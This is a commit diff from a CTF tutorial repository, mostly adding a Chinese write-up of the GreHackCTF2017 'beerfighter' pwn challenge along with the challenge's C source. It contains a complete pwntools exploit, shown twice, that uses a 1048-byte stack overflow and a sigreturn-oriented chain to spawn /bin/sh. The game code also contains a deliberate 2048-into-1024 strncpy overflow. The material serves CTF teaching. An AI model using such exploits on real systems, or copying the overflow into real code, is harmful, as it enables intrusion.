mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
finish 6.1.5
This commit is contained in:
parent
4b6c272230
commit
2a535943e8
@ -51,14 +51,14 @@ x86 体系下函数的调用总是这样的:
|
|||||||
|
|
||||||
栈帧对应的汇编代码:
|
栈帧对应的汇编代码:
|
||||||
```text
|
```text
|
||||||
PUSH ebp ; 函数开始(使用ebp前先把已有值保存到栈中)
|
PUSH ebp ; 函数开始(使用ebp前先把已有值保存到栈中)
|
||||||
MOV ebp, esp ; 保存当前esp到ebp中
|
MOV ebp, esp ; 保存当前esp到ebp中
|
||||||
|
|
||||||
... ; 函数体
|
... ; 函数体
|
||||||
; 无论esp值如何变化,ebp都保持不变,可以安全访问函数的局部变量、参数
|
; 无论esp值如何变化,ebp都保持不变,可以安全访问函数的局部变量、参数
|
||||||
MOV esp, ebp ; 将函数的其实地址返回到esp中
|
MOV esp, ebp ; 将函数的其实地址返回到esp中
|
||||||
POP ebp ; 函数返回前弹出保存在栈中的ebp值
|
POP ebp ; 函数返回前弹出保存在栈中的ebp值
|
||||||
RET ; 函数返回并跳转
|
RET ; 函数返回并跳转
|
||||||
```
|
```
|
||||||
|
|
||||||
函数调用后栈的标准布局如下图:
|
函数调用后栈的标准布局如下图:
|
||||||
@ -209,7 +209,7 @@ void *sbrk(intptr_t increment);
|
|||||||
在上图中我们看到 brk 指示堆结束地址,start_brk 指示堆开始地址。BSS segment 和 heap 之间有一段 Random brk offset,这是由于 ASLR 的作用,如果关闭了 ASLR,则 Random brk offset 为 0,堆结束地址和数据段开始地址重合。
|
在上图中我们看到 brk 指示堆结束地址,start_brk 指示堆开始地址。BSS segment 和 heap 之间有一段 Random brk offset,这是由于 ASLR 的作用,如果关闭了 ASLR,则 Random brk offset 为 0,堆结束地址和数据段开始地址重合。
|
||||||
|
|
||||||
例子:[源码](../src/Others/1.5.7_brk.c)
|
例子:[源码](../src/Others/1.5.7_brk.c)
|
||||||
```
|
```C
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
void main() {
|
void main() {
|
||||||
@ -348,7 +348,7 @@ int munmap(void *addr, size_t len);
|
|||||||
```
|
```
|
||||||
|
|
||||||
例子:[源码](../src/Others/1.5.7_mmap.c)
|
例子:[源码](../src/Others/1.5.7_mmap.c)
|
||||||
```
|
```C
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <sys/mman.h>
|
#include <sys/mman.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
@ -424,7 +424,7 @@ void *realloc(void *ptr, size_t size);
|
|||||||
```
|
```
|
||||||
|
|
||||||
示例:
|
示例:
|
||||||
```
|
```C
|
||||||
#include<stdio.h>
|
#include<stdio.h>
|
||||||
#include<malloc.h>
|
#include<malloc.h>
|
||||||
void foo(int n) {
|
void foo(int n) {
|
||||||
|
@ -1,7 +1,7 @@
|
|||||||
# 6.1.4 pwn BackdoorCTF2017 Fun-Signals
|
# 6.1.4 pwn BackdoorCTF2017 Fun-Signals
|
||||||
|
|
||||||
- [SROP 原理](#srop-原理)
|
- [SROP 原理](#srop-原理)
|
||||||
- [Linux 系统调用](#Linux 系统调用)
|
- [Linux 系统调用](#linux-系统调用)
|
||||||
- [signal 机制](#signal-机制)
|
- [signal 机制](#signal-机制)
|
||||||
- [BackdoorCTF2017 Fun Signals](#backdoorctf2017-fun-signals)
|
- [BackdoorCTF2017 Fun Signals](#backdoorctf2017-fun-signals)
|
||||||
- [参考资料](#参考资料)
|
- [参考资料](#参考资料)
|
||||||
@ -155,7 +155,7 @@ io.interactive()
|
|||||||
```
|
```
|
||||||
```
|
```
|
||||||
$ python2 exp_funsignals.py
|
$ python2 exp_funsignals.py
|
||||||
[*] '/home/firmy/Desktop/RE4B/srop/funsignals_player_bin'
|
[*] '/home/firmy/Desktop/funsignals_player_bin'
|
||||||
Arch: amd64-64-little
|
Arch: amd64-64-little
|
||||||
RELRO: No RELRO
|
RELRO: No RELRO
|
||||||
Stack: No canary found
|
Stack: No canary found
|
||||||
|
@ -1,6 +1,179 @@
|
|||||||
# 6.1.5 pwn GreHackCTF2017 beerfighter
|
# 6.1.5 pwn GreHackCTF2017 beerfighter
|
||||||
|
|
||||||
- [题目解析](#题目解析)
|
- [题目解析](#题目解析)
|
||||||
|
- [Exploit](#exploit)
|
||||||
|
|
||||||
|
|
||||||
## 题目解析
|
## 题目解析
|
||||||
|
```
|
||||||
|
$ file game
|
||||||
|
game: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=1f9b11cb913afcbbbf9cb615709b3c62b2fdb5a2, stripped
|
||||||
|
```
|
||||||
|
64 位,静态链接,stripped。
|
||||||
|
|
||||||
|
既然是个小游戏,先玩一下,然后发现,进入 City Hall 后,有一个可以输入字符串的地方,然而即使我们什么也不输入,直接回车,在 Leave the town 时也会出现 Segmentation fault:
|
||||||
|
```
|
||||||
|
[0] The bar
|
||||||
|
[1] The City Hall
|
||||||
|
[2] The dark yard
|
||||||
|
[3] Leave the town for ever
|
||||||
|
Type your action number > 1
|
||||||
|
Welcome Newcomer! I am the mayor of this small town and my role is to register the names of its citizens.
|
||||||
|
How should I call you?
|
||||||
|
[0] Tell him your name
|
||||||
|
[1] Leave
|
||||||
|
Type your action number > 0
|
||||||
|
Type your character name here >
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
[0] The bar
|
||||||
|
[1] The City Hall
|
||||||
|
[2] The dark yard
|
||||||
|
[3] Leave the town for ever
|
||||||
|
Type your action number > 3
|
||||||
|
By !
|
||||||
|
|
||||||
|
Segmentation fault (core dumped)
|
||||||
|
```
|
||||||
|
|
||||||
|
程序大概清楚了,看代码吧,经过一番搜索,发现了一个很有意思的函数:
|
||||||
|
```
|
||||||
|
[0x00400d8e]> pdf @ fcn.00400773
|
||||||
|
/ (fcn) fcn.00400773 15
|
||||||
|
| fcn.00400773 ();
|
||||||
|
| ; CALL XREF from 0x00400221 (fcn.004001f3)
|
||||||
|
| ; CALL XREF from 0x004002b6 (fcn.00400288)
|
||||||
|
| 0x00400773 4889f8 mov rax, rdi
|
||||||
|
| 0x00400776 4889f7 mov rdi, rsi
|
||||||
|
| 0x00400779 4889d6 mov rsi, rdx
|
||||||
|
| 0x0040077c 4889ca mov rdx, rcx
|
||||||
|
| 0x0040077f 0f05 syscall
|
||||||
|
\ 0x00400781 c3 ret
|
||||||
|
```
|
||||||
|
`syscall;ret`,你想到了什么,对,就是前面讲的 SROP。
|
||||||
|
|
||||||
|
其实前面的输入一个字符串,程序也是通过 syscall 来读入的,从函数 `0x004004b8` 开始仔细跟踪代码后就会知道,系统调用为 `read()`。
|
||||||
|
|
||||||
|
```
|
||||||
|
gdb-peda$ pattern_offset $ebp
|
||||||
|
1849771374 found at offset: 1040
|
||||||
|
```
|
||||||
|
缓冲区还挺大的,`1040+8=1048`。
|
||||||
|
|
||||||
|
好,现在思路已经清晰了,先利用缓冲区溢出漏洞,用 `syscall;ret` 地址覆盖返回地址,通过 frame\_1 调用 `read()` 读入 frame_2 到 `.data` 段(这个程序没有`.bss`,而且`.data`可写),然后将栈转移过去,调用 `execve()` 执行“/bin/sh”,从而拿到 shell。
|
||||||
|
|
||||||
|
构造 sigreturn:
|
||||||
|
```
|
||||||
|
$ ropgadget --binary game --only "pop|ret"
|
||||||
|
...
|
||||||
|
0x00000000004007b2 : pop rax ; ret
|
||||||
|
```
|
||||||
|
```python
|
||||||
|
# sigreturn syscall
|
||||||
|
sigreturn = p64(pop_rax_addr)
|
||||||
|
sigreturn += p64(constants.SYS_rt_sigreturn) # 0xf
|
||||||
|
sigreturn += p64(syscall_addr)
|
||||||
|
```
|
||||||
|
|
||||||
|
然后是 frame_1,通过设定 `frame_1.rsp = base_addr` 来转移栈:
|
||||||
|
```python
|
||||||
|
# frame_1: read frame_2 to .data
|
||||||
|
frame_1 = SigreturnFrame()
|
||||||
|
frame_1.rax = constants.SYS_read
|
||||||
|
frame_1.rdi = constants.STDIN_FILENO
|
||||||
|
frame_1.rsi = data_addr
|
||||||
|
frame_1.rdx = len(str(frame_2))
|
||||||
|
frame_1.rsp = base_addr # stack pivot
|
||||||
|
frame_1.rip = syscall_addr
|
||||||
|
```
|
||||||
|
|
||||||
|
frame_2 执行 `execve()`:
|
||||||
|
```python
|
||||||
|
# frame_2: execve to get shell
|
||||||
|
frame_2 = SigreturnFrame()
|
||||||
|
frame_2.rax = constants.SYS_execve
|
||||||
|
frame_2.rdi = data_addr
|
||||||
|
frame_2.rsi = 0
|
||||||
|
frame_2.rdx = 0
|
||||||
|
frame_2.rip = syscall_addr
|
||||||
|
```
|
||||||
|
|
||||||
|
Bingo!!!
|
||||||
|
```
|
||||||
|
$ python2 exp.py
|
||||||
|
[*] '/home/firmy/Desktop/game'
|
||||||
|
Arch: amd64-64-little
|
||||||
|
RELRO: Partial RELRO
|
||||||
|
Stack: No canary found
|
||||||
|
NX: NX enabled
|
||||||
|
PIE: No PIE (0x400000)
|
||||||
|
[+] Starting local process './game': pid 12975
|
||||||
|
[*] Switching to interactive mode
|
||||||
|
By !
|
||||||
|
|
||||||
|
$ whoami
|
||||||
|
firmy
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Exploit
|
||||||
|
完整的 exp 如下,其他文件放在了[github](../src/writeup/6.1.5_pwn_grehackctf2017_beerfighter)相应文件夹中:
|
||||||
|
```python
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
elf = ELF('./game')
|
||||||
|
io = process('./game')
|
||||||
|
io.recvuntil("> ")
|
||||||
|
io.sendline("1")
|
||||||
|
io.recvuntil("> ")
|
||||||
|
io.sendline("0")
|
||||||
|
io.recvuntil("> ")
|
||||||
|
|
||||||
|
context.clear()
|
||||||
|
context.arch = "amd64"
|
||||||
|
|
||||||
|
data_addr = elf.get_section_by_name('.data').header.sh_addr + 0x10
|
||||||
|
base_addr = data_addr + 0x8 # new stack address
|
||||||
|
|
||||||
|
# useful gadget
|
||||||
|
pop_rax_addr = 0x00000000004007b2 # pop rax ; ret
|
||||||
|
syscall_addr = 0x000000000040077f # syscall ;
|
||||||
|
|
||||||
|
# sigreturn syscall
|
||||||
|
sigreturn = p64(pop_rax_addr)
|
||||||
|
sigreturn += p64(constants.SYS_rt_sigreturn) # 0xf
|
||||||
|
sigreturn += p64(syscall_addr)
|
||||||
|
|
||||||
|
# frame_2: execve to get shell
|
||||||
|
frame_2 = SigreturnFrame()
|
||||||
|
frame_2.rax = constants.SYS_execve
|
||||||
|
frame_2.rdi = data_addr
|
||||||
|
frame_2.rsi = 0
|
||||||
|
frame_2.rdx = 0
|
||||||
|
frame_2.rip = syscall_addr
|
||||||
|
|
||||||
|
# frame_1: read frame_2 to .data
|
||||||
|
frame_1 = SigreturnFrame()
|
||||||
|
frame_1.rax = constants.SYS_read
|
||||||
|
frame_1.rdi = constants.STDIN_FILENO
|
||||||
|
frame_1.rsi = data_addr
|
||||||
|
frame_1.rdx = len(str(frame_2))
|
||||||
|
frame_1.rsp = base_addr # stack pivot
|
||||||
|
frame_1.rip = syscall_addr
|
||||||
|
|
||||||
|
payload_1 = "A" * 1048
|
||||||
|
payload_1 += sigreturn
|
||||||
|
payload_1 += str(frame_1)
|
||||||
|
|
||||||
|
io.sendline(payload_1)
|
||||||
|
io.recvuntil("> ")
|
||||||
|
io.sendline("3")
|
||||||
|
|
||||||
|
payload_2 = "/bin/sh\x00"
|
||||||
|
payload_2 += sigreturn
|
||||||
|
payload_2 += str(frame_2)
|
||||||
|
|
||||||
|
io.sendline(payload_2)
|
||||||
|
io.interactive()
|
||||||
|
```
|
||||||
|
40
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/Makefile
Normal file
40
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/Makefile
Normal file
@ -0,0 +1,40 @@
|
|||||||
|
SRC_DIR = src
|
||||||
|
INC_DIR = inc
|
||||||
|
OBJ_DIR = obj
|
||||||
|
BIN_DIR = bin
|
||||||
|
OUT_DIR = $(OBJ_DIR) $(BIN_DIR)
|
||||||
|
|
||||||
|
CC = gcc
|
||||||
|
LD = gcc
|
||||||
|
INC = -I $(INC_DIR)
|
||||||
|
DEBUGFLAG=-g
|
||||||
|
CFLAGS= $(INC) -nostdlib -fno-stack-protector -Wl,-z,relro,-z,now,-z,noexecstack -static -Wno-builtin-declaration-mismatch -s
|
||||||
|
LDFLAGS= -nostdlib -fno-stack-protector -Wl,-z,relro,-z,now,-z,noexecstack -static -Wno-builtin-declaration-mismatch -s
|
||||||
|
|
||||||
|
MKDIR_P = mkdir -p
|
||||||
|
|
||||||
|
|
||||||
|
.PHONY: directories
|
||||||
|
|
||||||
|
|
||||||
|
OBJ_FILES = $(OBJ_DIR)/main.o $(OBJ_DIR)/io.o $(OBJ_DIR)/strings.o $(OBJ_DIR)/lib.o
|
||||||
|
ASM_FILES = $(SRC_DIR)/syscalls.S $(SRC_DIR)/start.S $(SRC_DIR)/gadgets.S
|
||||||
|
|
||||||
|
TARGET = $(BIN_DIR)/aaaaaa
|
||||||
|
|
||||||
|
all: directories $(TARGET)
|
||||||
|
|
||||||
|
directories: $(OUT_DIR)
|
||||||
|
|
||||||
|
$(OUT_DIR):
|
||||||
|
$(MKDIR_P) $(OUT_DIR)
|
||||||
|
|
||||||
|
$(TARGET): $(OBJ_FILES)
|
||||||
|
$(LD) $(LDFLAGS) $(OBJ_FILES) $(ASM_FILES) -o $(TARGET)
|
||||||
|
|
||||||
|
$(OBJ_DIR)/%.o : $(SRC_DIR)/%.c $(INC_DIR)/*.h
|
||||||
|
$(CC) $(CFLAGS) -c $< -o $@
|
||||||
|
|
||||||
|
.PHONY: clean
|
||||||
|
clean:
|
||||||
|
rm -f $(TARGET) $(OBJ_FILES) $(BIN_DIR)/*
|
@ -0,0 +1,9 @@
|
|||||||
|
# Exploit 250
|
||||||
|
Category: Exploit
|
||||||
|
|
||||||
|
Points: 250
|
||||||
|
|
||||||
|
Author: Valno
|
||||||
|
|
||||||
|
Description:
|
||||||
|
> Play the game at: www.myabandonware.com:5500
|
56
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/exp.py
Normal file
56
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/exp.py
Normal file
@ -0,0 +1,56 @@
|
|||||||
|
from pwn import *
|
||||||
|
|
||||||
|
elf = ELF('./game')
|
||||||
|
io = process('./game')
|
||||||
|
io.recvuntil("> ")
|
||||||
|
io.sendline("1")
|
||||||
|
io.recvuntil("> ")
|
||||||
|
io.sendline("0")
|
||||||
|
io.recvuntil("> ")
|
||||||
|
|
||||||
|
context.clear()
|
||||||
|
context.arch = "amd64"
|
||||||
|
|
||||||
|
data_addr = elf.get_section_by_name('.data').header.sh_addr + 0x10
|
||||||
|
base_addr = data_addr + 0x8 # new stack address
|
||||||
|
|
||||||
|
# useful gadget
|
||||||
|
pop_rax_addr = 0x00000000004007b2 # pop rax ; ret
|
||||||
|
syscall_addr = 0x000000000040077f # syscall ;
|
||||||
|
|
||||||
|
# sigreturn syscall
|
||||||
|
sigreturn = p64(pop_rax_addr)
|
||||||
|
sigreturn += p64(constants.SYS_rt_sigreturn) # 0xf
|
||||||
|
sigreturn += p64(syscall_addr)
|
||||||
|
|
||||||
|
# frame_2: execve to get shell
|
||||||
|
frame_2 = SigreturnFrame()
|
||||||
|
frame_2.rax = constants.SYS_execve
|
||||||
|
frame_2.rdi = data_addr
|
||||||
|
frame_2.rsi = 0
|
||||||
|
frame_2.rdx = 0
|
||||||
|
frame_2.rip = syscall_addr
|
||||||
|
|
||||||
|
# frame_1: read frame_2 to .data
|
||||||
|
frame_1 = SigreturnFrame()
|
||||||
|
frame_1.rax = constants.SYS_read
|
||||||
|
frame_1.rdi = constants.STDIN_FILENO
|
||||||
|
frame_1.rsi = data_addr
|
||||||
|
frame_1.rdx = len(str(frame_2))
|
||||||
|
frame_1.rsp = base_addr # stack pivot
|
||||||
|
frame_1.rip = syscall_addr
|
||||||
|
|
||||||
|
payload_1 = "A" * 1048
|
||||||
|
payload_1 += sigreturn
|
||||||
|
payload_1 += str(frame_1)
|
||||||
|
|
||||||
|
io.sendline(payload_1)
|
||||||
|
io.recvuntil("> ")
|
||||||
|
io.sendline("3")
|
||||||
|
|
||||||
|
payload_2 = "/bin/sh\x00"
|
||||||
|
payload_2 += sigreturn
|
||||||
|
payload_2 += str(frame_2)
|
||||||
|
|
||||||
|
io.sendline(payload_2)
|
||||||
|
io.interactive()
|
BIN
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/game
Executable file
BIN
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/game
Executable file
Binary file not shown.
28
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/inc/io.h
Normal file
28
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/inc/io.h
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
#ifndef __IO_H__
|
||||||
|
#define __IO_H__
|
||||||
|
|
||||||
|
#include "types.h"
|
||||||
|
#include "syscall_constants.h"
|
||||||
|
#include "syscalls.h"
|
||||||
|
|
||||||
|
#define STDIN 0
|
||||||
|
#define STDOUT 1
|
||||||
|
#define STDERR 2
|
||||||
|
|
||||||
|
static intptr write(int fd, void const* data, uintptr nbytes);
|
||||||
|
|
||||||
|
uintptr strlen(char const* str);
|
||||||
|
|
||||||
|
uintptr puts(char const* str);
|
||||||
|
|
||||||
|
intptr read(int fd, char* buf, uintptr count);
|
||||||
|
|
||||||
|
int getchar(void);
|
||||||
|
|
||||||
|
char* gets(char* str);
|
||||||
|
|
||||||
|
char* fgets(char *str, int n, int stream);
|
||||||
|
|
||||||
|
int getdigit(char *inputphrase, int a, int b);
|
||||||
|
|
||||||
|
#endif
|
26
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/inc/lib.h
Normal file
26
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/inc/lib.h
Normal file
@ -0,0 +1,26 @@
|
|||||||
|
#ifndef __LIB__H_
|
||||||
|
#define __LIB_H__
|
||||||
|
|
||||||
|
#include "syscall_constants.h"
|
||||||
|
#include "strings.h"
|
||||||
|
#include "io.h"
|
||||||
|
|
||||||
|
#define SIZEBUF 2048
|
||||||
|
#define SIZENAME 1024
|
||||||
|
|
||||||
|
struct Character{
|
||||||
|
char name[SIZENAME];
|
||||||
|
unsigned int level;
|
||||||
|
};
|
||||||
|
|
||||||
|
void city_hall(struct Character* perso);
|
||||||
|
|
||||||
|
void welcome_message();
|
||||||
|
|
||||||
|
int village_place(struct Character* perso);
|
||||||
|
|
||||||
|
void bar();
|
||||||
|
|
||||||
|
void champion();
|
||||||
|
|
||||||
|
#endif
|
@ -0,0 +1,6 @@
|
|||||||
|
#ifndef __STRINGS_H__
|
||||||
|
#define __STRINGS_H__
|
||||||
|
|
||||||
|
char* strncpy(char* dest, const char* src, int n);
|
||||||
|
|
||||||
|
#endif
|
@ -0,0 +1,7 @@
|
|||||||
|
#ifndef __SYSCALL_CONSTANTS_H__
|
||||||
|
#define __SYSCALL_CONSTANTS_H__
|
||||||
|
|
||||||
|
#define SYS_read 0
|
||||||
|
#define SYS_write 1
|
||||||
|
|
||||||
|
#endif
|
@ -0,0 +1,17 @@
|
|||||||
|
#ifndef __SYSCALLS_H__
|
||||||
|
#define __SYSCALLS_H__
|
||||||
|
|
||||||
|
#include <types.h>
|
||||||
|
|
||||||
|
void* syscall0(
|
||||||
|
uintptr number
|
||||||
|
);
|
||||||
|
|
||||||
|
void* syscall3(
|
||||||
|
uintptr number,
|
||||||
|
void* arg1,
|
||||||
|
void* arg2,
|
||||||
|
void* arg3
|
||||||
|
);
|
||||||
|
|
||||||
|
#endif
|
@ -0,0 +1,7 @@
|
|||||||
|
#ifndef __TYPES_H__
|
||||||
|
#define __TYPES_H__
|
||||||
|
|
||||||
|
typedef unsigned long int uintptr; /* size_t */
|
||||||
|
typedef long int intptr; /* ssize_t */
|
||||||
|
|
||||||
|
#endif
|
@ -0,0 +1,27 @@
|
|||||||
|
.intel_syntax noprefix
|
||||||
|
.intel_syntax noprefix
|
||||||
|
|
||||||
|
inc rdi
|
||||||
|
ret
|
||||||
|
|
||||||
|
xor rdi, rdi
|
||||||
|
ret
|
||||||
|
|
||||||
|
pop rsi
|
||||||
|
ret
|
||||||
|
|
||||||
|
and rdx, rsi
|
||||||
|
ret
|
||||||
|
|
||||||
|
and rcx, rsi
|
||||||
|
ret
|
||||||
|
|
||||||
|
pop r8
|
||||||
|
ret
|
||||||
|
|
||||||
|
pop rax
|
||||||
|
ret
|
||||||
|
|
||||||
|
mov dword ptr [rsi], r8d
|
||||||
|
ret
|
||||||
|
|
75
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/io.c
Normal file
75
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/io.c
Normal file
@ -0,0 +1,75 @@
|
|||||||
|
#include "io.h"
|
||||||
|
|
||||||
|
static intptr write(int fd, void const* data, uintptr nbytes){
|
||||||
|
return (intptr) syscall3(
|
||||||
|
SYS_write, /* SYS_write */
|
||||||
|
(void*)(intptr) fd,
|
||||||
|
(void*)data,
|
||||||
|
(void*)nbytes
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
uintptr strlen(char const* str){
|
||||||
|
char const *p;
|
||||||
|
for(p=str; *p; p++);
|
||||||
|
return p - str;
|
||||||
|
}
|
||||||
|
|
||||||
|
uintptr puts(char const* str){
|
||||||
|
return write(STDOUT, str, strlen(str));
|
||||||
|
}
|
||||||
|
|
||||||
|
intptr read(int fd, char* buf, uintptr count){
|
||||||
|
return (intptr) syscall3(
|
||||||
|
SYS_read,
|
||||||
|
(void*)(intptr) fd,
|
||||||
|
(void*) buf,
|
||||||
|
(void*) count
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
int getchar(void){
|
||||||
|
char c[1];
|
||||||
|
read(STDIN, c, 1);
|
||||||
|
return (int) c[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
char* gets(char* str){
|
||||||
|
char c;
|
||||||
|
char *r = str;
|
||||||
|
for(c=getchar(); c != '\n' && c != '\0'; str++, c=getchar()){
|
||||||
|
*str = c;
|
||||||
|
}
|
||||||
|
*str = '\0';
|
||||||
|
return r;
|
||||||
|
}
|
||||||
|
|
||||||
|
char* fgets(char *str, int n, int stream){
|
||||||
|
char c=getchar();
|
||||||
|
int i = 0;
|
||||||
|
char *r = str;
|
||||||
|
char d[2];
|
||||||
|
while(c != '\n'){
|
||||||
|
if(i<n-1){
|
||||||
|
*str = c;
|
||||||
|
str++;
|
||||||
|
}
|
||||||
|
i++;
|
||||||
|
c = getchar();
|
||||||
|
}
|
||||||
|
*str = '\0';
|
||||||
|
return r;
|
||||||
|
}
|
||||||
|
|
||||||
|
int getdigit(char *inputphrase, int a, int b){
|
||||||
|
char str[3];
|
||||||
|
puts(inputphrase);
|
||||||
|
fgets(str, 3, STDIN);
|
||||||
|
while(strlen(str) != 1 || str[0]>57-9+b || str[0]<48+a){
|
||||||
|
puts("Invalid number, try again.\n");
|
||||||
|
puts(inputphrase);
|
||||||
|
fgets(str, 3, STDIN);
|
||||||
|
puts("\n");
|
||||||
|
}
|
||||||
|
return str[0]-48;
|
||||||
|
}
|
144
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/lib.c
Normal file
144
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/lib.c
Normal file
@ -0,0 +1,144 @@
|
|||||||
|
#include "lib.h"
|
||||||
|
|
||||||
|
|
||||||
|
void welcome_message(){
|
||||||
|
char *message = "\n"
|
||||||
|
"__________________________________\n"
|
||||||
|
"\n"
|
||||||
|
"--- Welcome in BeerFigher III ---\n"
|
||||||
|
"__________________________________\n"
|
||||||
|
"\n"
|
||||||
|
"You just arrived in the small village of Foo in\n"
|
||||||
|
"the country, after a long day of travel.\n"
|
||||||
|
"Thirsty, you could just go and grab a beer at the\n"
|
||||||
|
"bar. You may also go in the city hall and get\n"
|
||||||
|
"registered with the mayor.\n"
|
||||||
|
"\n"
|
||||||
|
"\n";
|
||||||
|
puts(message);
|
||||||
|
}
|
||||||
|
|
||||||
|
void city_hall(struct Character* perso){
|
||||||
|
char digit;
|
||||||
|
char name[SIZEBUF];
|
||||||
|
puts("Welcome ");
|
||||||
|
puts(perso->name);
|
||||||
|
puts("! I am the mayor of this small town and my role is to register the names of its citizens.\nHow should I call you?\n");
|
||||||
|
puts("[0] Tell him your name\n");
|
||||||
|
puts("[1] Leave\n");
|
||||||
|
digit = getdigit("Type your action number > ", 0, 1);
|
||||||
|
|
||||||
|
switch(digit){
|
||||||
|
case 0:
|
||||||
|
puts("Type your character name here > ");
|
||||||
|
fgets(name, SIZEBUF, STDIN);
|
||||||
|
strncpy(perso->name, name, SIZEBUF);
|
||||||
|
puts("\n");
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
puts("You just left the old man without even saying \"Good bye\"\n");
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
puts("Invalid action\n");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int village_place(struct Character* perso){
|
||||||
|
char *message = "\n\n"
|
||||||
|
" ~ ~~ __\n"
|
||||||
|
" _T .,,. ~--~ ^^\n"
|
||||||
|
" ^^ // \\ ~\n"
|
||||||
|
" ][O] ^^ ,-~ ~\n"
|
||||||
|
" /''-I_I _II____\n"
|
||||||
|
" __/_ / \\ ______/ '' /'\\_,__\n"
|
||||||
|
" | II--'''' \\,--:--..,_/,.-{ },\n"
|
||||||
|
" ; '/__\\,.--';| |[] .-.| O{ _ }\n"
|
||||||
|
" :' | | [] -| ''--:.;[,.'\\,/\n"
|
||||||
|
" ' |[]|,.--'' '', ''-,. |\n"
|
||||||
|
" .. ..-'' ; ''. '\n"
|
||||||
|
"\n"
|
||||||
|
"You are in the village square.\n"
|
||||||
|
"In front of you can see the entrance of the local\n"
|
||||||
|
"bar from where one could hear laughter and singing.\n"
|
||||||
|
"On your\n"
|
||||||
|
"left stands is the massive front of the city hall that\n"
|
||||||
|
"dominates the village. On your right, in the \n"
|
||||||
|
"shadow of the bar, an alley filled with unconscious bodies and\n"
|
||||||
|
"empty pints leads to a dark yard where the most\n"
|
||||||
|
"valiant barflies of the country can face each other.\n"
|
||||||
|
"It's time to choose in which place you will enter !\n"
|
||||||
|
"------------\n\n";
|
||||||
|
char *choice0 = "[0] The bar\n";
|
||||||
|
char *choice1 = "[1] The City Hall\n";
|
||||||
|
char *choice2 = "[2] The dark yard\n";
|
||||||
|
char *choice3 = "[3] Leave the town for ever\n";
|
||||||
|
|
||||||
|
puts(message);
|
||||||
|
puts(choice0);
|
||||||
|
puts(choice1);
|
||||||
|
puts(choice2);
|
||||||
|
puts(choice3);
|
||||||
|
int digit = getdigit("Type your action number > ", 0, 3);
|
||||||
|
|
||||||
|
switch(digit){
|
||||||
|
case 0:
|
||||||
|
bar();
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
city_hall(perso);
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
champion();
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
puts("By !\n");
|
||||||
|
return 0;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
puts("Invalid choice\n");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
void bar(){
|
||||||
|
char digit;
|
||||||
|
char *message = "\n\n"
|
||||||
|
" _.._..,_,_ \n"
|
||||||
|
" ( )\n"
|
||||||
|
" ]~,\"-.-~~[ Welcome in Foo bar\n"
|
||||||
|
" .=])' (; ([ ---\n"
|
||||||
|
" | ]:: ' [ We are currently close\n"
|
||||||
|
" '=]): .) ([ Please, come back later\n"
|
||||||
|
" |:: ' |\n"
|
||||||
|
" ~~----~~\n"
|
||||||
|
"\n\n";
|
||||||
|
puts(message);
|
||||||
|
|
||||||
|
puts("[0] Leave\n");
|
||||||
|
digit = getdigit("Type your action number > ", 0, 0);
|
||||||
|
switch(digit){
|
||||||
|
case 0:
|
||||||
|
puts("You just left the bar\n");
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
puts("Invalid action\n");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void champion(){
|
||||||
|
char digit;
|
||||||
|
puts("\n\n-- Feature currently in development...\n\n");
|
||||||
|
puts("[0] Leave\n");
|
||||||
|
digit = getdigit("Type your action number > ", 0, 0);
|
||||||
|
switch(digit){
|
||||||
|
case 0:
|
||||||
|
puts("You just left the yard\n");
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
puts("Invalid action\n");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
16
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/main.c
Normal file
16
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/main.c
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
#include "syscalls.h"
|
||||||
|
#include "io.h"
|
||||||
|
#include "lib.h"
|
||||||
|
|
||||||
|
char a[6] = {5, 8, 7, 6, 2, 7};
|
||||||
|
|
||||||
|
int main(int argc, char **argv){
|
||||||
|
struct Character perso = { "Newcomer", 0};
|
||||||
|
|
||||||
|
welcome_message();
|
||||||
|
while(village_place(&perso));
|
||||||
|
|
||||||
|
puts("\n");
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
18
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/start.S
Normal file
18
src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/start.S
